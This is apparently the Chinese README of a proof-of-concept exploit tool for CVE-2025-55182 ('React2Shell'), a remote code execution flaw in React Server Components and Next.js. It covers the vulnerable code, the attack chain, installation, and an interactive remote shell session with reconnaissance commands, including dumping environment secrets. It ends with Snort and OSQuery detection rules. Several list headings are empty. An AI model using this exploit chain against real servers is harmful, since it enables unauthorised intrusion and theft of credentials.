针对 CVE-2025-55182 的全面概念验证(PoC)利用工具与教育资源。CVE-2025-55182 是一个影响 React Server Components 的严重远程代码执行漏洞,CVSS 评分为 10.0。
仅供教育和授权测试用途
本工具仅用于教育目的和授权安全测试。未经授权访问计算机系统在包括美国《计算机欺诈和滥用法》(CFAA)在内的多项法律以及世界各地的类似立法中均属违法行为。
您必须:
作者和贡献者:
使用本工具即表示您确认理解并同意上述条款。
React2Shell 是于 2025 年 12 月发现的一个关键漏洞,影响 React Server Components (RSC) 及其实现框架,尤其是 Next.js。该漏洞允许攻击者通过单个精心构造的 HTTP 请求实现未经认证的远程代码执行。
本仓库包含:
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS 评分 | 10.0(严重) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响 | 系统完全沦陷(RCE) |
| 披露日期 | 2025 年 12 月 |
create-next-app 创建的标准 Next.js 应用即可被利用受影响版本:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0已修复版本:
受影响版本:
已修复版本:
该漏洞存在于 React Server Components 反序列化逻辑中的 requireModule 函数内:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
该缺陷允许攻击者通过 React Flight 协议遍历 JavaScript 原型链,借助 constructor.constructor 等属性访问 Function 构造函数,从而实现任意代码执行。
__proto__ 创建自引用结构constructor.constructor 链式访问 Function()child_process.execSync() 注入任意 JavaScript┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests 库# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| 命令 | 说明 |
|---|---|
<any shell command> | 在目标上执行命令 |
help | 显示帮助信息 |
exit / quit / q | 退出工具 |
部署以下 Snort 规则以检测利用尝试:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
检测逻辑:
Next-Action 标头(RSC 特有)multipart/form-data 载荷name="0"、status: "resolved_model"、then: "$1:__proto__:then"使用以下 OSQuery 规则扫描存在漏洞的软件包版本:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Detects vulnerable versions of React Server Components packages affected by CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
优点: